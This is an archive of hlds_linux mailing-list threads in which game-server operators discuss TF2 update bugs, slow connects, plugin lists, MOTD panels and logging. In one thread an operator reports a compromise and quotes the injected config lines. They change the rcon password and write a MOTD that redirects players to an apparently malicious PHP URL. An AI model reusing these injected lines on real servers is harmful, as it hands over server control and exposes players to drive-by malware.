How well does JS/JQuery/CSS work in the MOTD panel for something like tabs? or is it better left to the classic way of doing it with separate pages and links? From: David Fountain savsi...@gmail.com To: Half-Life dedicated Linux server mailing list hlds_linux@list.valvesoftware.com Sent: Thursday, April 4, 2013 10:11:24 AM Subject: Re: [hlds_linux] Mandatory Team Fortress 2 update released Ads do botherme while I play... my opinion is I have my main motd with the description of my server a tab for teamspeak, server rules, and membership or donation info .. The in game motds are available to provide information about features like in cz I have a motd explaining how to use the hook and medic plugins. Although in CSGO they did this since release. If it's similar you can use the work around that we use for go. It's not the same panel and instead of having an exit on bottom the X is in the top right corner SavSin On Apr 4, 2013 6:02 AM, Peter Reinhold peter_va...@reinhold.dk wrote: On 04.04.2013 11:52, Peter Reinhold wrote: The best solution, as I see it, would be to re-use the popup/confirm as when you are redirected to another server. Another possible solution (but this would take some work on Valves side) would be for servers to have either their own page in the community, a subpage on a steamgroup page or something like that. Then there could be, standardized, ways for players to open information about a server, both what group/community it belongs to, along with whatever else you could add to that page. A souped-up version of the L4D(2) community group feature, if you will, and that would keep all revelant links within Valves world, but would ofcourse break !radio, !bp, !stats etc. /Peter __**_ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.**com/cgi-bin/mailman/listinfo/**hlds_linuxhttps://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux
[hlds_linux] Long connects/disconnects?
Just curious whether anyone has found this to be an issue. I've received reports that our servers take a long time to connect, and the same with disconnects. Connects usually hang at the usual at 'retrieving server info' or 'sending client info'. I've tried searching for results before, but everything is swamped with 'it's a client side issue, defrag your cache'. However, the reports say that it only happens on our servers. I was hoping someone here might have some suggestions or ideas as to what would cause this? Standard TF2 servers on CentOS, with Sourcemod/Metamod. Plugins as follows: 01 [TF2] gScramble Team Manager (3.0.11) by Goerge 02 Sound Commands (1.4.7-dev) by AlliedModders LLC 03 Extended Mute (1.2.2-B) by Twisted|Panda (Orig: FLOOR_MASTER) 04 Anti Color Abuse (1.0.0) by 11530 05 Fun Commands (1.4.7-dev) by AlliedModders LLC 06 Basic Votes (1.4.7-dev) by AlliedModders LLC 07 HLstatsX CE Ingame Plugin (1.6.19) by psychonic 08 Player Commands (1.4.7-dev) by AlliedModders LLC 09 SuperLogs: TF2 (2.0.32) by Thomas CmptrWz Berezansky psychonic 10 Fun Votes (1.4.7-dev) by AlliedModders LLC 11 Advertisements (0.5.5) by Tsunami 12 Fun Commands X (2.2) by Spazman0 and Arg! 13 Basic Comm Control (1.4.7-dev) by AlliedModders LLC 14 SourceMod Radio (1.0.0.13) by dubbeh 15 MySQL Server Configs Logging (1.1) by MoggieX 16 Bonus Round Immunity (1.1.0) by Antithasys 17 AFK Manager (3.4.3) by Rothgar 18 Web Shortcuts (1.1) by Kyle Sanderson, Nicholas Hastings 19 Simple Chat Colors (2.0.0) by Simple Plugins 20 Donator Recognition (1.3a) by Nut 21 Simple Chat Processor (1.0.1) by Simple Plugins 22 Nextmap (1.4.7-dev) by AlliedModders LLC 23 Admin Help (1.4.7-dev) by AlliedModders LLC 24 SourceBans (1.4.8) by SourceBans Development Team 25 Admin Menu (1.4.7-dev) by AlliedModders LLC 26 Reserved Slots (1.4.7-dev) by AlliedModders LLC 27 Basic Chat (1.4.7-dev) by AlliedModders LLC 28 Sourcebans Checker (1.0.0) by psychonic Ca$h Munny 29 Basic Info Triggers (1.4.7-dev) by AlliedModders LLC 30 Client Preferences (1.4.7-dev) by AlliedModders LLC 31 Spray Tracer (5.8a) by Nican132, CptMoore, Lebson506th 32 Anti-Flood (1.4.7-dev) by AlliedModders LLC 33 Player Warnings (1.0.8) by Twisted|Panda 34 Basic Commands (1.4.7-dev) by AlliedModders LLC 35 Admin File Reader (1.4.7-dev) by AlliedModders LLC 36 [TF2] Second MOTD (1.0) by Powerlord ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux
Re: [hlds_linux] Long connects/disconnects?
That might well be it. Makes sense on connect since you need to verify checksums and whatnot, but I didn't suspect it since there's also a longer disconnect. Thanks. On a related note, does sv_pure 1 have much effect on deterring/preventing texture hacks or is it one of those things that's more hassle than its worth (as in hackers gonna hack and sv_pure won't stop them)?. Thanks. - Original Message - From: Denis Eliseev lisee...@yandex.ru To: Bjorn Wielens uniac...@yahoo.ca; Half-Life dedicated Linux server mailing list hlds_linux@list.valvesoftware.com Cc: Sent: Sunday, March 17, 2013 11:47:24 AM Subject: Re: [hlds_linux] Long connects/disconnects? I think that this problem is with sv_pure 1 (Do you have it set to 1?). My two CSS servers and friendly TF2 servers have this problem too. But on my CSS server that have sv_pure 0 connects/disconnects are fast. 17.03.2013, 17:05, Bjorn Wielens uniac...@yahoo.ca: Just curious whether anyone has found this to be an issue. I've received reports that our servers take a long time to connect, and the same with disconnects. Connects usually hang at the usual at 'retrieving server info' or 'sending client info'. I've tried searching for results before, but everything is swamped with 'it's a client side issue, defrag your cache'. However, the reports say that it only happens on our servers. I was hoping someone here might have some suggestions or ideas as to what would cause this? Standard TF2 servers on CentOS, with Sourcemod/Metamod. Plugins as follows: 01 [TF2] gScramble Team Manager (3.0.11) by Goerge 02 Sound Commands (1.4.7-dev) by AlliedModders LLC 03 Extended Mute (1.2.2-B) by Twisted|Panda (Orig: FLOOR_MASTER) 04 Anti Color Abuse (1.0.0) by 11530 05 Fun Commands (1.4.7-dev) by AlliedModders LLC 06 Basic Votes (1.4.7-dev) by AlliedModders LLC 07 HLstatsX CE Ingame Plugin (1.6.19) by psychonic 08 Player Commands (1.4.7-dev) by AlliedModders LLC 09 SuperLogs: TF2 (2.0.32) by Thomas CmptrWz Berezansky psychonic 10 Fun Votes (1.4.7-dev) by AlliedModders LLC 11 Advertisements (0.5.5) by Tsunami 12 Fun Commands X (2.2) by Spazman0 and Arg! 13 Basic Comm Control (1.4.7-dev) by AlliedModders LLC 14 SourceMod Radio (1.0.0.13) by dubbeh 15 MySQL Server Configs Logging (1.1) by MoggieX 16 Bonus Round Immunity (1.1.0) by Antithasys 17 AFK Manager (3.4.3) by Rothgar 18 Web Shortcuts (1.1) by Kyle Sanderson, Nicholas Hastings 19 Simple Chat Colors (2.0.0) by Simple Plugins 20 Donator Recognition (1.3a) by Nut 21 Simple Chat Processor (1.0.1) by Simple Plugins 22 Nextmap (1.4.7-dev) by AlliedModders LLC 23 Admin Help (1.4.7-dev) by AlliedModders LLC 24 SourceBans (1.4.8) by SourceBans Development Team 25 Admin Menu (1.4.7-dev) by AlliedModders LLC 26 Reserved Slots (1.4.7-dev) by AlliedModders LLC 27 Basic Chat (1.4.7-dev) by AlliedModders LLC 28 Sourcebans Checker (1.0.0) by psychonic Ca$h Munny 29 Basic Info Triggers (1.4.7-dev) by AlliedModders LLC 30 Client Preferences (1.4.7-dev) by AlliedModders LLC 31 Spray Tracer (5.8a) by Nican132, CptMoore, Lebson506th 32 Anti-Flood (1.4.7-dev) by AlliedModders LLC 33 Player Warnings (1.0.8) by Twisted|Panda 34 Basic Commands (1.4.7-dev) by AlliedModders LLC 35 Admin File Reader (1.4.7-dev) by AlliedModders LLC 36 [TF2] Second MOTD (1.0) by Powerlord ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux
Re: [hlds_linux] Remote connection with rcon
Interesting. I was under the impression that RCON can't make permanent server config changes (i.e. write to config files) - I thought it was only limited to being able to change current cvars in memory, which would be wiped the next time a config changes them. Have I got that wrong? If not, I'd suspect the attack vector is probably not via RCON... more likely an exploit via a file upload mechanism or so (sprays?) to get the malicious .cfg there in the first place. Sadly the redirected URL doesn't respond for me, so I can't take a look and see what they were attempting to do with it. (more than likely a drive-by malware install or something). From: Collin Howard my_azz...@yahoo.com To: Half-Life dedicated Linux server mailing list hlds_linux@list.valvesoftware.com Sent: Wednesday, January 2, 2013 3:23:33 PM Subject: Re: [hlds_linux] Remote connection with rcon Looks like there might be a new exploit or hack. Somehow, someone was able to create a maps folder in my amxmodx config folder and create map specific cfg files and added the following lines to it: amxx pause rcon_defencer.amxx rcon_password 56425642 motdfile motd.txt motd_write META HTTP-EQUIV=Refresh CONTENT=0 URL=http://78.110.63.117//abunaimo.php?jecttely=674660; I dont use ftp on the box, only access to the box is via ssh and the ssh port is a completely random port and the password is 25+ character completely random password. So I dont think anyone could have gained access to the box directly to do this. Is there a known exploit or hack that does this? This was done with only one HLDS setup on the box while the other HLDS setups were not effected. These files are what were causing my issue of not being able to remotely connect with the rcon specified in server.cfg From: Ken Bateman novadeni...@gmail.com To: Collin Howard my_azz...@yahoo.com; Half-Life dedicated Linux server mailing list hlds_linux@list.valvesoftware.com Sent: Tuesday, January 1, 2013 1:43:32 AM Subject: Re: [hlds_linux] Remote connection with rcon On Tue, Jan 1, 2013 at 1:15 AM, Collin Howard my_azz...@yahoo.com wrote: From the looks of it, server.cfg is not automatically executing when the map changes and even when I restart the hlds. Anyone have a clue on whats going on? Doing exec server.cfg in console executed the config file and rcon started working. Any ideas? Is servercfgfile set to server.cfg? Is it being set to something different on the command line or in autoexec.cfg? -Ken ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux
Re: [hlds_linux] Once Again Valve Doesn't Care About Server Owners
I think the point that's trying to be made in this thread is that when running servers we shouldn't _have_ to rely on stopgaps like this. It's great the sourcemod/alliedmods community exists for these sorts of things, but is that really something server ops should have to end up installing Sourcemod and Metamod to fix? I propose a solution to Valve: For each new cosmetic item that is added from this date onward, they must also fix an outstanding TF2 bug or pick a function and optimize it. TF2 would be running smoother than greased lightning in about half a year or so, don't you think? From: Harsh Baid harshbai...@gmail.com To: hlds_linux@list.valvesoftware.com Sent: Friday, December 28, 2012 2:38:01 PM Subject: Re: [hlds_linux] Once Again Valve Doesn't Care About Server Owners I have a solution for the Item Server problems that many server owners deal with. The Item Server as of now isn't very reliable which is why i have a Local Item Server Mod installed on my servers. Here is the link: http://forums.alliedmods.net/showthread.php?p=1747762 This will basically cache the item server of the user and when the item server goes down, the users weapons do not. This works really well and i dont see players complain anymore that my servers Item Server is not working. I suggest you guys try this mod out because it is absolutely wonderful. ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux
Re: [hlds_linux] Once Again Valve Doesn't Care About Server Owners
If your response is directed at me, please don't put words in my mouth. Nowhere in my message am I demanding for an immediate fix. It's simply an observation as to the current state of things and higher priority of adding cosmetics to fixing functionality. From: Benedict Glover neobened...@hotmail.co.uk To: hlds_linux@list.valvesoftware.com Sent: Friday, December 28, 2012 7:33:51 PM Subject: Re: [hlds_linux] Once Again Valve Doesn't Care About Server Owners *sigh* Why don't you try making a fix then? Here's the entire TF2 code, all 100,000 lines or so of it, now find why the item server isn't working and fix it NOW, not later, I don't want it tested for other bugs, I don't want it put on a release schedule, I want a fix NOW. Of course I'm not going to give you any leads, all I can say is the item server doesn't work. Date: Fri, 28 Dec 2012 12:32:14 -0800 From: uniac...@yahoo.ca To: hlds_linux@list.valvesoftware.com Subject: Re: [hlds_linux] Once Again Valve Doesn't Care About Server Owners I think the point that's trying to be made in this thread is that when running servers we shouldn't _have_ to rely on stopgaps like this. It's great the sourcemod/alliedmods community exists for these sorts of things, but is that really something server ops should have to end up installing Sourcemod and Metamod to fix? I propose a solution to Valve: For each new cosmetic item that is added from this date onward, they must also fix an outstanding TF2 bug or pick a function and optimize it. TF2 would be running smoother than greased lightning in about half a year or so, don't you think? From: Harsh Baid harshbai...@gmail.com To: hlds_linux@list.valvesoftware.com Sent: Friday, December 28, 2012 2:38:01 PM Subject: Re: [hlds_linux] Once Again Valve Doesn't Care About Server Owners I have a solution for the Item Server problems that many server owners deal with. The Item Server as of now isn't very reliable which is why i have a Local Item Server Mod installed on my servers. Here is the link: http://forums.alliedmods.net/showthread.php?p=1747762 This will basically cache the item server of the user and when the item server goes down, the users weapons do not. This works really well and i dont see players complain anymore that my servers Item Server is not working. I suggest you guys try this mod out because it is absolutely wonderful. ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux
[hlds_linux] Client Crash out on map change?
I'm getting reports from players that their clients are crashing out on map change. The server log reports nothing unusual apart from that the client timed out (which I assume is because it wasn't a clean disconnect and it failed to reply within the server's time window). The weird thing is I've been told it only happens on our servers, and not other communities, and it happens for some people and not others. Possibly related, possibly not but I'm also noticing unusually long connect times (on retrieving server info) and in game from the X has connected message to the X joined team Y message, so it's not just my client (which has already had its files defragged) Has someone experienced this before and has a solution or cause for either of these been found? It doesn't seem like something one would expect to be caused by a metamod plugin, but I can list the ones in use if requested. Running MM:S 1.10.0-hg814-linux and sourcemod-1.4.7-hg3603. Thanks in advance, and apologies if this has been addressed before - but the archive page seems to be down and google tends to only yield tons of client-side fixes. ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux
[hlds_linux] Instability after latest update?
Has anyone noticed additional server instability since the latest update? I'm getting 100% cpu usage hangs on non-MVM servers, nothing in the logs that would indicate the problem. Running latest soucemod and Metamod snapshots, with the following plugins: 01 [TF2] gScramble Team Manager (3.0.11) by Goerge 02 Sound Commands (1.4.5-dev) by AlliedModders LLC 03 Extended Mute (1.2.2-B) by Twisted|Panda (Orig: FLOOR_MASTER) 04 Anti Color Abuse (1.0.0) by 11530 05 Fun Commands (1.4.5-dev) by AlliedModders LLC 06 Basic Votes (1.4.5-dev) by AlliedModders LLC 07 HLstatsX CE Ingame Plugin (1.6.19) by psychonic 08 [TF2] Model Manager (1.0.2) by FlaminSarge (based on Damizean's TF2 Equipment Manager) 09 Player Commands (1.4.5-dev) by AlliedModders LLC 10 SuperLogs: TF2 (2.0.32) by Thomas CmptrWz Berezansky psychonic 11 Fun Votes (1.4.5-dev) by AlliedModders LLC 12 Advertisements (0.5.5) by Tsunami 13 Fun Commands X (2.2) by Spazman0 and Arg! 14 Basic Comm Control (1.4.5-dev) by AlliedModders LLC 15 SourceMod Radio (1.0.0.13) by dubbeh 16 MySQL Server Configs Logging (1.1) by MoggieX 17 Bonus Round Immunity (1.1.0) by Antithasys 18 AFK Manager (3.4.3) by Rothgar 19 Web Shortcuts (1.1) by Kyle Sanderson, Nicholas Hastings 20 Simple Chat Colors (2.0.0) by Simple Plugins 21 Donator Recognition (1.3a) by Nut 22 Simple Chat Processor (1.0.1) by Simple Plugins 23 Nextmap (1.4.5-dev) by AlliedModders LLC 24 Server Redirect Modded (1.2.1) by Bottiger, Brainstorm 25 Admin Help (1.4.5-dev) by AlliedModders LLC 26 SourceBans (1.4.8) by SourceBans Development Team 27 Admin Menu (1.4.4-dev) by AlliedModders LLC 28 Reserved Slots (1.4.5-dev) by AlliedModders LLC 29 Basic Chat (1.4.5-dev) by AlliedModders LLC 30 Sourcebans Checker (1.0.0) by psychonic Ca$h Munny 31 Basic Info Triggers (1.4.5-dev) by AlliedModders LLC 32 Client Preferences (1.4.5-dev) by AlliedModders LLC 33 Spray Tracer (5.8a) by Nican132, CptMoore, Lebson506th 34 Anti-Flood (1.4.5-dev) by AlliedModders LLC 35 Player Warnings (1.0.8) by Twisted|Panda 36 Basic Commands (1.4.5-dev) by AlliedModders LLC 37 Admin File Reader (1.4.5-dev) by AlliedModders LLC 38 [TF2] Second MOTD (1.0) by Powerlord From: Ross Bemrose rbemr...@gmail.com To: Eric Smith er...@valvesoftware.com Cc: Half-Life dedicated Win32 server mailing list h...@list.valvesoftware.com; 'hlds_linux@list.valvesoftware.com' hlds_linux@list.valvesoftware.com Sent: Thursday, December 20, 2012 8:14:42 PM Subject: Re: [hlds_linux] [hlds_announce] Mandatory TF2, DoD:S, and HL2:DM updates released Any particular reason that the TF2 Item servers are down while the Portal 2 (among others) item server is still up? On 12/20/2012 6:12 PM, Eric Smith wrote: Sorry, we forgot part of the notes: - Added three new community weapons - The Vaccinator - The Loose Cannon - The Rescue Ranger -Eric -Original Message- From: hlds_announce-boun...@list.valvesoftware.com [mailto:hlds_announce-boun...@list.valvesoftware.com] On Behalf Of Eric Smith Sent: Thursday, December 20, 2012 2:59 PM To: Half-Life dedicated Win32 server mailing list; 'hlds_linux@list.valvesoftware.com'; 'hlds_annou...@list.valvesoftware.com' Subject: [hlds_announce] Mandatory TF2, DoD:S, and HL2:DM updates released We've released mandatory updates for TF2, DoD:S, and HL2:DM. The notes for the updates are below. -Eric -- Source Engine Changes (TF2, DoD:S, HL2:DM) - Updated some Big Picture features - Additional improvements for client stability Team Fortress 2 - Australian Christmas has begun! - Added community-contributed winter event items - Added Naughty and Nice winter keys to the Mann Co. Store - Mann Vs. Machine - Added a new tour of duty with unique loot: - Operation Mecha Engine, with 3 new advanced skill missions - New map mvm_bigrock - New Engineer Botkiller items - Added new Engineer robot - Added new Strange Filter items to the Mann Co. Store to support community map makers - Added new checkout dialogs and taunt-activated effect to raise awareness for Community Map Stamps - Added +context_action command (defaults to X for controllers). This will use the action slot if your Canteen contains a charge and will taunt otherwise3 - Added +attack3 command (defaults to middle-mouse button) - Added Adult Swim items to the Mann Co. Store - Fixed an exploit that allowed players to be permanently invulnerable - Fixed the Pyro's airblast not working correctly when facing downhill - Made Force-A-Nature pushback more consistent - Updated pl_barnblitz - Fixed various map exploits - Updated sd_doomsday - Fixed various map exploits - Updated the localization files ___ hlds_announce mailing list hlds_annou...@list.valvesoftware.com
Re: [hlds_linux] Instability after latest update?
I'm not running TF2Items. I've removed all but the basic sourcemod plugins and haven't had a crash since (knock on wood) but watching top I still see the occasional spike to 100% cpu usage and the server stops responding until it goes back down. From: PolyQuad polyq...@gmail.com To: 'Half-Life dedicated Linux server mailing list' hlds_linux@list.valvesoftware.com Sent: Thursday, December 20, 2012 10:18:16 PM Subject: Re: [hlds_linux] Instability after latest update? Try updating TF2 Items @ http://vphysics.limetech.org/?project=tf2items -Original Message- From: hlds_linux-boun...@list.valvesoftware.com [mailto:hlds_linux-boun...@list.valvesoftware.com] On Behalf Of Scipizoa Sent: Thursday, December 20, 2012 6:12 PM To: uniac...@yahoo.ca; hlds_linux@list.valvesoftware.com Subject: Re: [hlds_linux] Instability after latest update? I'm getting serrver crashes and it seems to occure when someone uses the new medic gun From: Bjorn Wielens uniac...@yahoo.ca To: Half-Life dedicated Linux server mailing list hlds_linux@list.valvesoftware.com Sent: Thursday, December 20, 2012 at 8:36 pm Subject: [hlds_linux] Instability after latest update? Has anyone noticed additional server instability since the latest update? I'm getting 100% cpu usage hangs on non-MVM servers, nothing in the logs that would indicate the problem. Running latest soucemod and Metamod snapshots, with the following plugins: 01 [TF2] gScramble Team Manager (3.0.11) by Goerge 02 Sound Commands (1.4.5-dev) by AlliedModders LLC 03 Extended Mute (1.2.2-B) by Twisted|Panda (Orig: FLOOR_MASTER) 04 Anti Color Abuse (1.0.0) by 11530 05 Fun Commands (1.4.5-dev) by AlliedModders LLC 06 Basic Votes (1.4.5-dev) by AlliedModders LLC 07 HLstatsX CE Ingame Plugin (1.6.19) by psychonic 08 [TF2] Model Manager (1.0.2) by FlaminSarge (based on Damizean's TF2 Equipment Manager) 09 Player Commands (1.4.5-dev) by AlliedModders LLC 10 SuperLogs: TF2 (2.0.32) by Thomas CmptrWz Berezansky psychonic 11 Fun Votes (1.4.5-dev) by AlliedModders LLC 12 Advertisements (0.5.5) by Tsunami 13 Fun Commands X (2.2) by Spazman0 and Arg! 14 Basic Comm Control (1.4.5-dev) by AlliedModders LLC 15 SourceMod Radio (1.0.0.13) by dubbeh 16 MySQL Server Configs Logging (1.1) by MoggieX 17 Bonus Round Immunity (1.1.0) by Antithasys 18 AFK Manager (3.4.3) by Rothgar 19 Web Shortcuts (1.1) by Kyle Sanderson, Nicholas Hastings 20 Simple Chat Colors (2.0.0) by Simple Plugins 21 Donator Recognition (1.3a) by Nut 22 Simple Chat Processor (1.0.1) by Simple Plugins 23 Nextmap (1.4.5-dev) by AlliedModders LLC 24 Server Redirect Modded (1.2.1) by Bottiger, Brainstorm 25 Admin Help (1.4.5-dev) by AlliedModders LLC 26 SourceBans (1.4.8) by SourceBans Development Team 27 Admin Menu (1.4.4-dev) by AlliedModders LLC 28 Reserved Slots (1.4.5-dev) by AlliedModders LLC 29 Basic Chat (1.4.5-dev) by AlliedModders LLC 30 Sourcebans Checker (1.0.0) by psychonic Ca$h Munny 31 Basic Info Triggers (1.4.5-dev) by AlliedModders LLC 32 Client Preferences (1.4.5-dev) by AlliedModders LLC 33 Spray Tracer (5.8a) by Nican132, CptMoore, Lebson506th 34 Anti-Flood (1.4.5-dev) by AlliedModders LLC 35 Player Warnings (1.0.8) by Twisted|Panda 36 Basic Commands (1.4.5-dev) by AlliedModders LLC 37 Admin File Reader (1.4.5-dev) by AlliedModders LLC 38 [TF2] Second MOTD (1.0) by Powerlord From: Ross Bemrose rbemr...@gmail.com To: Eric Smith er...@valvesoftware.com Cc: Half-Life dedicated Win32 server mailing list h...@list.valvesoftware.com; 'hlds_linux@list.valvesoftware.com' hlds_linux@list.valvesoftware.com Sent: Thursday, December 20, 2012 8:14:42 PM Subject: Re: [hlds_linux] [hlds_announce] Mandatory TF2, DoD:S, and HL2:DM updates released Any particular reason that the TF2 Item servers are down while the Portal 2 (among others) item server is still up? On 12/20/2012 6:12 PM, Eric Smith wrote: Sorry, we forgot part of the notes: - Added three new community weapons - The Vaccinator - The Loose Cannon - The Rescue Ranger -Eric -Original Message- From: hlds_announce-boun...@list.valvesoftware.com [mailto:hlds_announce-boun...@list.valvesoftware.com] On Behalf Of Eric Smith Sent: Thursday, December 20, 2012 2:59 PM To: Half-Life dedicated Win32 server mailing list; 'hlds_linux@list.valvesoftware.com'; 'hlds_annou...@list.valvesoftware.com' Subject: [hlds_announce] Mandatory TF2, DoD:S, and HL2:DM updates released We've released mandatory updates for TF2, DoD:S, and HL2:DM. The notes for the updates are below. -Eric -- Source Engine Changes (TF2, DoD:S, HL2:DM) - Updated some Big Picture features - Additional improvements for client stability Team Fortress 2 - Australian Christmas
Re: [hlds_linux] Optional TF2, DoD:S, and HL2:DM updates released
I've received a report (and verified) that the control point capture timers are reversed as of this update. If you are capping as BLU, the circle indicating progress is shown as blue being covered by red instead of vice versa (as in it appears RED is capping a BLU point. I've also been told that cloak meters for spy watches are reversed, but have been unable to verify/duplicate that. Has anyone else seen similar issues? From: Eric Smith er...@valvesoftware.com To: 'h...@list.valvesoftware.com' h...@list.valvesoftware.com; 'hlds_linux@list.valvesoftware.com' hlds_linux@list.valvesoftware.com; 'hlds_annou...@list.valvesoftware.com' hlds_annou...@list.valvesoftware.com Sent: Tuesday, December 4, 2012 4:25:24 PM Subject: [hlds_linux] Optional TF2, DoD:S, and HL2:DM updates released We've released optional (for dedicated servers) updates for Team Fortress 2, Day of Defeat: Source, and Half-Life 2: Deathmatch. The notes for the updates are below. These updates do not affect dedicated servers. -Eric -- Source Engine Changes (TF2, DoD:S, HL2:DM) - Updated to support Big Picture mode ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux
Re: [hlds_linux] Optional TF2, DoD:S, and HL2:DM updates released
Should add that this is a client-side issue, Whether or not the server has been updated has no effect. From: Bjorn Wielens uniac...@yahoo.ca To: Half-Life dedicated Linux server mailing list hlds_linux@list.valvesoftware.com Sent: Tuesday, December 4, 2012 8:12:10 PM Subject: Re: [hlds_linux] Optional TF2, DoD:S, and HL2:DM updates released I've received a report (and verified) that the control point capture timers are reversed as of this update. If you are capping as BLU, the circle indicating progress is shown as blue being covered by red instead of vice versa (as in it appears RED is capping a BLU point. I've also been told that cloak meters for spy watches are reversed, but have been unable to verify/duplicate that. Has anyone else seen similar issues? From: Eric Smith er...@valvesoftware.com To: 'h...@list.valvesoftware.com' h...@list.valvesoftware.com; 'hlds_linux@list.valvesoftware.com' hlds_linux@list.valvesoftware.com; 'hlds_annou...@list.valvesoftware.com' hlds_annou...@list.valvesoftware.com Sent: Tuesday, December 4, 2012 4:25:24 PM Subject: [hlds_linux] Optional TF2, DoD:S, and HL2:DM updates released We've released optional (for dedicated servers) updates for Team Fortress 2, Day of Defeat: Source, and Half-Life 2: Deathmatch. The notes for the updates are below. These updates do not affect dedicated servers. -Eric -- Source Engine Changes (TF2, DoD:S, HL2:DM) - Updated to support Big Picture mode ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux
Re: [hlds_linux] [hlds] Optional TF2, DoD:S, and HL2:DM updates released
I'd suspect optional, given that it is entirely a client-side issue. From: Jason pctool...@gmail.com To: Half-Life dedicated Win32 server mailing list h...@list.valvesoftware.com Sent: Tuesday, December 4, 2012 8:42:29 PM Subject: Re: [hlds] [hlds_linux] Optional TF2, DoD:S, and HL2:DM updates released So is this update coming up going to end up being mandatory or still considered optional (for dedicated servers)? On Tue, Dec 4, 2012 at 7:18 PM, wickedplayer494 . wickedplayer...@gmail.com wrote: Awesome, right as I sent my message. Thanks for the info. On Tue, Dec 4, 2012 at 6:16 PM, Eric Smith er...@valvesoftware.com wrote: We have a fix that we'll be releasing soon. -Eric -Original Message- From: hlds_linux-boun...@list.valvesoftware.com [mailto:hlds_linux-boun...@list.valvesoftware.com] On Behalf Of Ross Bemrose Sent: Tuesday, December 04, 2012 4:14 PM To: Bjorn Wielens; Half-Life dedicated Linux server mailing list; Half-Life Windows dedicated server mailing Subject: Re: [hlds_linux] Optional TF2, DoD:S, and HL2:DM updates released Reports on Reddit are noting that a lot of timer-like things are playing animations backwards, such as the cloak meter on the face of the various Spy watches. On 12/4/2012 7:12 PM, Bjorn Wielens wrote: I've received a report (and verified) that the control point capture timers are reversed as of this update. If you are capping as BLU, the circle indicating progress is shown as blue being covered by red instead of vice versa (as in it appears RED is capping a BLU point. I've also been told that cloak meters for spy watches are reversed, but have been unable to verify/duplicate that. Has anyone else seen similar issues? From: Eric Smith er...@valvesoftware.com To: 'h...@list.valvesoftware.com' h...@list.valvesoftware.com; 'hlds_linux@list.valvesoftware.com' hlds_linux@list.valvesoftware.com; 'hlds_annou...@list.valvesoftware.com' hlds_annou...@list.valvesoftware.com Sent: Tuesday, December 4, 2012 4:25:24 PM Subject: [hlds_linux] Optional TF2, DoD:S, and HL2:DM updates released We've released optional (for dedicated servers) updates for Team Fortress 2, Day of Defeat: Source, and Half-Life 2: Deathmatch. The notes for the updates are below. These updates do not affect dedicated servers. -Eric -- Source Engine Changes (TF2, DoD:S, HL2:DM) - Updated to support Big Picture mode ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux
[hlds_linux] TF2 Logging of Jarate events
Has the logging of jarate with log onbeen changed at some point? I still see log entries for players being extinguished with jarate (tf_weapon_jar), but no entries for a player hitting an opponent with jarate. As a result, it doesn't seem to be logged for HLStats. (Or am I completely out in left field here?) Thanks. ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux
Re: [hlds_linux] TF2 empty servers
